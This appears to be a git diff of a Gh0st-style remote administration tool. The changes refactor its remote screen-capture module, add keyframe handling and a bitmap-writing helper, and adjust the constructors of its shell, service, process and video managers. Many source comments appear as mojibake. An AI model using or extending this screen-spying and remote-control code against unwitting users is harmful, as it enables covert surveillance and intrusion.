- if(szBuffer)
- {
- delete [] szBuffer;
- szBuffer = NULL;
- }
}
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
@@ -217,21 +232,14 @@ VOID CScreenManager::SendClientClipboard()
VOID CScreenManager::SendFirstScreen()
{
- //CScreenSpygetFirstScreenеõͼ
- //ȻgetFirstImageSizeõݵĴСȻͳȥ
- LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
- if (FirstScreenData == NULL)
+ ULONG ulFirstSendLength = 0;
+ LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
+ if (ulFirstSendLength == 0 || FirstScreenData == NULL)
{
return;
}
- ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
-
- szBuffer[0] = TOKEN_FIRSTSCREEN;
- memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
-
- m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
- szBuffer[ulFirstSendLength-1] = 0;
+ m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
}
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
@@ -243,13 +251,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
return NULL;
}
- ulNextSendLength += 1;
-
- szBuffer[0] = TOKEN_NEXTSCREEN;
- memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
- szBuffer[ulNextSendLength] = 0;
-
- return szBuffer;
+ return (char*)NextScreenData;
}
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
@@ -285,11 +287,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
- if(m_ScreenSpyObject->IsZoomed())
- {
- Point.x *= m_ScreenSpyObject->GetWZoom();
- Point.y *= m_ScreenSpyObject->GetHZoom();
- }
+ m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}
diff --git a/client/ScreenManager.h b/client/ScreenManager.h
index 4992b5f..aa37070 100644
--- a/client/ScreenManager.h
+++ b/client/ScreenManager.h
@@ -11,14 +11,14 @@
#include "Manager.h"
#include "ScreenSpy.h"
+#include "ScreenCapture.h"
class IOCPClient;
class CScreenManager : public CManager
{
public:
- char* szBuffer;
- CScreenManager(IOCPClient* ClientObject, int n);
+ CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CScreenManager();
HANDLE m_hWorkThread;
@@ -26,7 +26,7 @@ public:
VOID SendBitMapInfo();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
- CScreenSpy* m_ScreenSpyObject;
+ ScreenCapture* m_ScreenSpyObject;
VOID SendFirstScreen();
const char* GetNextScreen(ULONG &ulNextSendLength);
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp
index 3868461..55b962a 100644
--- a/client/ScreenSpy.cpp
+++ b/client/ScreenSpy.cpp
@@ -11,25 +11,11 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
-CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
+CScreenSpy::CScreenSpy(ULONG ulbiBitCount, int gop) : ScreenCapture()
{
+ m_GOP = gop;
m_bAlgorithm = ALGORITHM_DIFF;
- m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
-
- //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)ȡĻС
- //統ĻʾΪ125%ʱȡĻСҪ1.25Ŷ
- DEVMODE devmode;
- memset(&devmode, 0, sizeof (devmode));
- devmode.dmSize = sizeof(DEVMODE);
- devmode.dmDriverExtra = 0;
- BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode);
- m_ulFullWidth = devmode.dmPelsWidth;
- m_ulFullHeight = devmode.dmPelsHeight;
- int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN);
- m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
- m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
- Mprintf("=> ű: %.2f, %.2f\tֱʣ%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
- m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
+ int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
m_BitmapInfor_Full = new BITMAPINFO();
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
@@ -50,6 +36,7 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
::SelectObject(m_hFullMemDC, m_BitmapHandle);
+ m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
m_DiffBitmapData_Full = NULL;
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
@@ -104,49 +91,16 @@ CScreenSpy::~CScreenSpy()
m_RectBufferOffset = 0;
}
-LPVOID CScreenSpy::GetFirstScreenData()
+LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
{
//ڴԭ豸иλͼĿ豸
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
- return m_BitmapData_Full; //ڴ
-}
+ m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
+ memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
+ *ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage;
-// 㷨+λ+
-LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
-{
- // rectָ
- m_RectBufferOffset = 0;
-
- // дʹ㷨
- WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
-
- // дλ
- POINT CursorPos;
- GetCursorPos(&CursorPos);
- CursorPos.x /= m_wZoom;
- CursorPos.y /= m_hZoom;
- WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
-
- // д뵱ǰ
- static CCursorInfo m_CursorInfor;
- BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
- WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
-
- // Ƚ㷨
- if (m_bAlgorithm == ALGORITHM_DIFF)
- {
- // ֶɨȫĻ µλͼ뵽m_hDiffMemDC
- ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
-
- //BitбȽһm_lpvFullBitsеķ
- *ulNextSendLength = m_RectBufferOffset + CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
- m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
-
- return m_RectBuffer;
- }
-
- return NULL;
+ return m_RectBuffer; //ڴ
}
@@ -172,45 +126,3 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
}
#endif
}
-
-
-ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength)
-{
- AUTO_TICK(20);
- // Windows涨һɨռֽ4ı, DWORDȽ
- LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
- // ƫƵƫƣͬȵƫ
- ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0, ulCount = 0;
- for (int i = 0; i < ulCompareLength; i += 4, ++p1, ++p2)
- {
- if (*p1 == *p2)
- continue;
-
- *(LPDWORD)(szBuffer + ulszBufferOffset) = i;
- // ¼ݴСĴλ
- ulv1 = ulszBufferOffset + sizeof(int);
- ulv2 = ulv1 + sizeof(int);
- ulCount = 0; // ݼ
-
- // Destе
- *p1 = *p2;
- *(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
-
- ulCount += 4;
- i += 4, p1++, p2++;
- for (int j = i; j < ulCompareLength; j += 4, i += 4, ++p1, ++p2)
- {
- if (*p1 == *p2)
- break;
- // Destе
- *p1 = *p2;
- *(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
- ulCount += 4;
- }
- // дݳ
- *(LPDWORD)(szBuffer + ulv1) = ulCount;
- ulszBufferOffset = ulv2 + ulCount;
- }
-
- return ulszBufferOffset;
-}
diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h
index 64bfa85..154dc71 100644
--- a/client/ScreenSpy.h
+++ b/client/ScreenSpy.h
@@ -8,25 +8,15 @@
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
-#define ALGORITHM_DIFF 1
+
#define COPY_ALL 1 // ȫĻֿ鿽added by yuanyuanxiang 2019-1-7
#include "CursorInfo.h"
+#include "ScreenCapture.h"
-class CScreenSpy
+class CScreenSpy : public ScreenCapture
{
private:
- BYTE m_bAlgorithm; // Ļ㷨
- ULONG m_ulbiBitCount; // ÿλ
-
- ULONG m_ulFullWidth; // Ļ
- ULONG m_ulFullHeight; //Ļ
- bool m_bZoomed; // Ļ
- double m_wZoom; // Ļű
- double m_hZoom; // Ļű
-
- LPBITMAPINFO m_BitmapInfor_Full; // BMPϢ
-
HWND m_hDeskTopWnd; //ǰĴھ
HDC m_hFullDC; //Explorer.exe Ĵ豸DC
@@ -39,10 +29,9 @@ private:
PVOID m_DiffBitmapData_Full;
ULONG m_RectBufferOffset; // λ
- BYTE* m_RectBuffer; //
public:
- CScreenSpy(ULONG ulbiBitCount);
+ CScreenSpy(ULONG ulbiBitCount, int gop = DEFAULT_GOP);
virtual ~CScreenSpy();
@@ -82,11 +71,12 @@ public:
m_RectBufferOffset += ulLength;
}
- LPVOID GetFirstScreenData();
+ virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
- LPVOID GetNextScreenData(ULONG* ulNextSendLength);
-
- ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength);
+ virtual LPBYTE ScanNextScreen() {
+ ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
+ return (LPBYTE)m_DiffBitmapData_Full;
+ }
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp
index 9a84cc5..084d621 100644
--- a/client/ServicesManager.cpp
+++ b/client/ServicesManager.cpp
@@ -10,7 +10,7 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
-CServicesManager::CServicesManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
+CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
SendServicesList();
}
diff --git a/client/ServicesManager.h b/client/ServicesManager.h
index cbdbe5a..02ccde1 100644
--- a/client/ServicesManager.h
+++ b/client/ServicesManager.h
@@ -14,7 +14,7 @@
class CServicesManager : public CManager
{
public:
- CServicesManager(IOCPClient* ClientObject, int n);
+ CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CServicesManager();
VOID SendServicesList();
LPBYTE GetServicesList();
diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp
index 75b6ae5..b20049c 100644
--- a/client/ShellManager.cpp
+++ b/client/ShellManager.cpp
@@ -14,7 +14,7 @@ using namespace std;
BOOL bStarting = TRUE;
-CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
+CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
m_nCmdLength = 0;
bStarting = TRUE;
diff --git a/client/ShellManager.h b/client/ShellManager.h
index b9f5bb5..c9dbdec 100644
--- a/client/ShellManager.h
+++ b/client/ShellManager.h
@@ -15,7 +15,7 @@
class CShellManager : public CManager
{
public:
- CShellManager(IOCPClient* ClientObject, int n);
+ CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr);
HANDLE m_hReadPipeHandle;
HANDLE m_hWritePipeHandle;
diff --git a/client/StdAfx.h b/client/StdAfx.h
index 0342535..e52ded1 100644
--- a/client/StdAfx.h
+++ b/client/StdAfx.h
@@ -94,3 +94,11 @@ public:
#define AUTO_TICK(thresh)
#define STOP_TICK
#endif
+
+#ifndef SAFE_DELETE
+#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
+#endif
+
+#ifndef SAFE_DELETE_ARRAY
+#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
+#endif
diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp
index e752426..01beebd 100644
--- a/client/SystemManager.cpp
+++ b/client/SystemManager.cpp
@@ -26,7 +26,7 @@ enum
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
-CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow):CManager(ClientObject)
+CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject)
{
if (bHow==COMMAND_SYSTEM)
{
diff --git a/client/SystemManager.h b/client/SystemManager.h
index 40616b1..6b00f63 100644
--- a/client/SystemManager.h
+++ b/client/SystemManager.h
@@ -15,7 +15,7 @@
class CSystemManager : public CManager
{
public:
- CSystemManager(IOCPClient* ClientObject,BOOL bHow);
+ CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr);
virtual ~CSystemManager();
LPBYTE GetProcessList();
VOID SendProcessList();
diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp
index 4136159..a757b67 100644
--- a/client/TalkManager.cpp
+++ b/client/TalkManager.cpp
@@ -27,7 +27,7 @@ IOCPClient* g_IOCPClientObject = NULL;
extern HINSTANCE g_hInstance;
-CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
+CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
BYTE bToken = TOKEN_TALK_START; //ͷļ Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1);
diff --git a/client/TalkManager.h b/client/TalkManager.h
index 8c57ea3..2b517f0 100644
--- a/client/TalkManager.h
+++ b/client/TalkManager.h
@@ -14,7 +14,7 @@
class CTalkManager : public CManager
{
public:
- CTalkManager(IOCPClient* ClientObject, int n);
+ CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CTalkManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp
index 62c1811..510894b 100644
--- a/client/VideoManager.cpp
+++ b/client/VideoManager.cpp
@@ -11,7 +11,7 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
-CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientObject)
+CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_bIsWorking = TRUE;
diff --git a/client/VideoManager.h b/client/VideoManager.h
index 3442354..6502a24 100644
--- a/client/VideoManager.h
+++ b/client/VideoManager.h
@@ -16,7 +16,7 @@
class CVideoManager : public CManager
{
public:
- CVideoManager(IOCPClient* ClientObject, int n) ;
+ CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ;
virtual ~CVideoManager();
BOOL m_bIsWorking;
diff --git a/client/test.cpp b/client/test.cpp
index c5aa1d9..d27668e 100644
--- a/client/test.cpp
+++ b/client/test.cpp
@@ -25,7 +25,7 @@ IsExit bExit = NULL;
BOOL status = 0;
-CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "", 0, CLIENT_TYPE_DLL };
+CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 6543, CLIENT_TYPE_DLL };
//Ȩ
void DebugPrivilege()
diff --git a/common/commands.h b/common/commands.h
index 3754b3c..7693a14 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -1,8 +1,8 @@
#pragma once
-#include
#include
#include
+#include
#ifndef _MAX_PATH
#define _MAX_PATH 260
@@ -133,6 +133,7 @@ enum
COMMAND_SERVICECONFIG, // ˷ıʶ
TOKEN_TALK_START, // ʱϢʼ
TOKEN_TALKCMPLT, // ʱϢط
+ TOKEN_KEYFRAME, // ؼ֡
TOKEN_REGEDIT = 200, // ע
COMMAND_REG_FIND, // ע ʶ
TOKEN_REG_KEY,
@@ -209,3 +210,34 @@ inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<
}
}
}
+
+#ifdef _DEBUG
+// Ϊ˽ԶĻĺ꣬ʱʹãʽ汾û
+#define SCREENYSPY_IMPROVE 0
+#define SCREENSPY_WRITE 0
+#endif
+
+// ڴеλͼдļ
+inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) {
+ char path[_MAX_PATH];
+ if (filePrefix.size() >= 4 && filePrefix.substr(filePrefix.size() - 4) == ".bmp") {
+ strcpy_s(path, filePrefix.c_str());
+ }
+ else {
+ sprintf_s(path, ".\\bmp\\%s_%d.bmp", filePrefix.c_str(), index == -1 ? clock() : index);
+ }
+ FILE* File = fopen(path, "wb");
+ if (File) {
+ BITMAPFILEHEADER fileHeader = { 0 };
+ fileHeader.bfType = 0x4D42; // "BM"
+ fileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpInfo->bmiHeader.biSizeImage;
+ fileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
+
+ fwrite(&fileHeader, 1, sizeof(BITMAPFILEHEADER), File);
+ fwrite(&bmpInfo->bmiHeader, 1, sizeof(BITMAPINFOHEADER), File);
+ fwrite(bmpData, 1, bmpInfo->bmiHeader.biSizeImage, File);
+ fclose(File);
+ return true;
+ }
+ return false;
+}
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index cd49add..a87c7da 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 15825a7..b22c8a5 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -714,6 +714,10 @@ char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) {
void CMy2015RemoteDlg::OnOnlineUpdate()
{
+ if (IDYES != MessageBox(_T("ȷѡıس?\nܿسַ֧Ч!"),
+ _T("ʾ"), MB_ICONQUESTION | MB_YESNO))
+ return;
+
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
@@ -775,9 +779,10 @@ VOID CMy2015RemoteDlg::OnOnlineWindowManager()
VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
-{
- BYTE bToken = COMMAND_SCREEN_SPY;
- SendSelectedCommand(&bToken, sizeof(BYTE));
+{
+ int n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "DXGI");
+ BYTE bToken[2] = { COMMAND_SCREEN_SPY, n };
+ SendSelectedCommand(bToken, sizeof(bToken));
}
VOID CMy2015RemoteDlg::OnOnlineFileManager()
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index a454209..c46b74e 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -6,7 +6,7 @@
#include
#if USING_ZLIB
-#include "zlib.h"
+#include "zlib/zlib.h"
#define Z_FAILED(p) (Z_OK != (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else
@@ -359,7 +359,6 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
timeBeginPeriod(1);
while (This->m_bTimeToKill==FALSE)
{
- AUTO_TICK(40);
InterlockedDecrement(&This->m_ulBusyThread);
// GetQueuedCompletionStatusʱȽϳ¿ͻ˷ݵ߲
BOOL bOk = GetQueuedCompletionStatus(
@@ -367,7 +366,6 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
&dwTrans,
(PULONG_PTR)&ContextObject,
&Overlapped, INFINITE);
- STOP_TICK;
DWORD dwIOError = GetLastError();
OverlappedPlus = CONTAINING_RECORD(Overlapped, OVERLAPPEDPLUS, m_ol);
ulBusyThread = InterlockedIncrement(&This->m_ulBusyThread); //1 1
@@ -500,20 +498,23 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
{
char szPacketFlag[FLAG_LENGTH + 3]= {0}; // 8ֽڶ
ContextObject->InCompressedBuffer.CopyBuffer(szPacketFlag, FLAG_LENGTH, 0);
- if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
- throw "Bad Buffer";
+ if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) {
+ ContextObject->InCompressedBuffer.ClearBuffer();
+ break;
+ }
//Shine[50][kdjfkdjfkj]
ULONG ulPackTotalLength = 0;
ContextObject->InCompressedBuffer.CopyBuffer(&ulPackTotalLength, sizeof(ULONG), FLAG_LENGTH);
- //ȡݰܳ
- //50
- if (ulPackTotalLength && (ContextObject->InCompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
+ //ȡݰܳ5ֽڱʶ+4ֽݰܳ+4ֽԭʼݳ
+ int bufLen = ContextObject->InCompressedBuffer.GetBufferLength();
+ if (ulPackTotalLength && bufLen >= ulPackTotalLength)
{
ULONG ulOriginalLength = 0;
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
+ // TRACE("ulPackTotalLength: %d, ulOriginalLength: %d\n", ulPackTotalLength, ulOriginalLength);
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448
PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //ûнѹ
//ݰǰԴûнѹȡpData 448
@@ -528,7 +529,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
if (Z_SUCCESS(iRet))
{
ContextObject->InDeCompressedBuffer.ClearBuffer();
- ContextObject->InCompressedBuffer.ClearBuffer();
+ //ContextObject->InCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
m_NotifyProc(ContextObject); //֪ͨ
}else{
@@ -547,15 +548,14 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
break;
}
}
- PostRecv(ContextObject); //ͶµĽݵ
}catch(...)
{
OutputDebugStringA("[ERROR] OnClientReceiving catch an error \n");
ContextObject->InCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.ClearBuffer();
-
- PostRecv(ContextObject);
}
+ PostRecv(ContextObject); //ͶµĽݵ
+
return TRUE;
}
@@ -563,7 +563,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
{
assert (ContextObject);
// ͵
- if (ulOriginalLength < 100) {
+ if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL) {
char buf[100] = { 0 };
if (ulOriginalLength == 1){
sprintf_s(buf, "command %d", int(szBuffer[0]));
diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp
index 7dd8c5c..148bcc0 100644
--- a/server/2015Remote/ScreenSpyDlg.cpp
+++ b/server/2015Remote/ScreenSpyDlg.cpp
@@ -30,6 +30,7 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
: CDialog(CScreenSpyDlg::IDD, Parent)
{
+ m_FrameID = 0;
ImmDisableIME(0);// 禁用输入法
m_bFullScreen = FALSE;
@@ -176,8 +177,8 @@ VOID CScreenSpyDlg::OnClose()
VOID CScreenSpyDlg::OnReceiveComplete()
{
assert (m_ContextObject);
-
- switch(m_ContextObject->InDeCompressedBuffer.GetBYTE(0))
+ auto cmd = m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
+ switch(cmd)
{
case TOKEN_FIRSTSCREEN:
{
@@ -188,16 +189,25 @@ VOID CScreenSpyDlg::OnReceiveComplete()
{
if (m_ContextObject->InDeCompressedBuffer.GetBYTE(1)==ALGORITHM_DIFF)
{
- DrawNextScreenDiff();
+ DrawNextScreenDiff(false);
}
break;
}
+ case TOKEN_KEYFRAME: {
+ if (!m_bIsFirst) {
+ DrawNextScreenDiff(true);
+ }
+ break;
+ }
case TOKEN_CLIPBOARD_TEXT:
{
Buffer str = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
UpdateServerClipboard(str.c_str(), str.length());
break;
}
+ default: {
+ TRACE("CScreenSpyDlg unknown command: %d!!!\n", int(cmd));
+ }
}
}
@@ -211,13 +221,24 @@ VOID CScreenSpyDlg::DrawFirstScreen(void)
PostMessage(WM_PAINT);//触发WM_PAINT消息
}
-VOID CScreenSpyDlg::DrawNextScreenDiff(void)
+VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
{
//该函数不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
//OnPaint画上去
//根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
BOOL bChange = FALSE;
ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标 位置 + 光标类型索引
+#if SCREENYSPY_IMPROVE
+ int frameID = -1;
+ memcpy(&frameID, m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength), sizeof(int));
+ ulHeadLength += sizeof(int);
+ if (++m_FrameID != frameID) {
+ TRACE("DrawNextScreenDiff [%d] bmp is lost from %d\n", frameID-m_FrameID, m_FrameID);
+ m_FrameID = frameID;
+ }
+#else
+ m_FrameID++;
+#endif
LPVOID FirstScreenData = m_BitmapData_Full;
LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength);
ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength;
@@ -254,12 +275,25 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(void)
BYTE algorithm = m_ContextObject->InDeCompressedBuffer.GetBYTE(1);
LPBYTE dst = (LPBYTE)FirstScreenData, p = (LPBYTE)NextScreenData;
- for (LPBYTE end = p + NextScreenLength; p < end; ) {
- ULONG ulCount = *(LPDWORD(p + sizeof(ULONG)));
- memcpy(dst + *(LPDWORD)p, p + 2 * sizeof(ULONG), ulCount);
-
- p += 2 * sizeof(ULONG) + ulCount;
+ if (keyFrame)
+ {
+ if (m_BitmapInfor_Full->bmiHeader.biSizeImage == NextScreenLength)
+ memcpy(dst, p, m_BitmapInfor_Full->bmiHeader.biSizeImage);
}
+ else if (0 != NextScreenLength) {
+ for (LPBYTE end = p + NextScreenLength; p < end; ) {
+ ULONG ulCount = *(LPDWORD(p + sizeof(ULONG)));
+ memcpy(dst + *(LPDWORD)p, p + 2 * sizeof(ULONG), ulCount);
+
+ p += 2 * sizeof(ULONG) + ulCount;
+ }
+ }
+
+#if SCREENSPY_WRITE
+ if (!WriteBitmap(m_BitmapInfor_Full, m_BitmapData_Full, "YAMA", frameID)) {
+ TRACE("WriteBitmap [%d] failed!!!\n", frameID);
+ }
+#endif
if (bChange)
{
@@ -447,31 +481,7 @@ BOOL CScreenSpyDlg::SaveSnapshot(void)
if(Dlg.DoModal () != IDOK)
return FALSE;
- BITMAPFILEHEADER BitMapFileHeader;
- LPBITMAPINFO BitMapInfor = m_BitmapInfor_Full; //1920 1080 1 0000
- CFile File;
- if (!File.Open( Dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
- {
- return FALSE;
- }
-
- // BITMAPINFO大小
- //+ (BitMapInfor->bmiHeader.biBitCount > 16 ? 1 : (1 << BitMapInfor->bmiHeader.biBitCount)) * sizeof(RGBQUAD)
- //bmp fjkdfj dkfjkdfj [][][][]
- int nbmiSize = sizeof(BITMAPINFO);
-
- //协议 TCP 校验值
- BitMapFileHeader.bfType = ((WORD) ('M' << 8) | 'B');
- BitMapFileHeader.bfSize = BitMapInfor->bmiHeader.biSizeImage + sizeof(BitMapFileHeader); //8421
- BitMapFileHeader.bfReserved1 = 0; //8000
- BitMapFileHeader.bfReserved2 = 0;
- BitMapFileHeader.bfOffBits = sizeof(BitMapFileHeader) + nbmiSize;
-
- File.Write(&BitMapFileHeader, sizeof(BitMapFileHeader));
- File.Write(BitMapInfor, nbmiSize);
-
- File.Write(m_BitmapData_Full, BitMapInfor->bmiHeader.biSizeImage);
- File.Close();
+ WriteBitmap(m_BitmapInfor_Full, m_BitmapData_Full, Dlg.GetPathName().GetBuffer());
return true;
}
diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h
index cbec154..e710202 100644
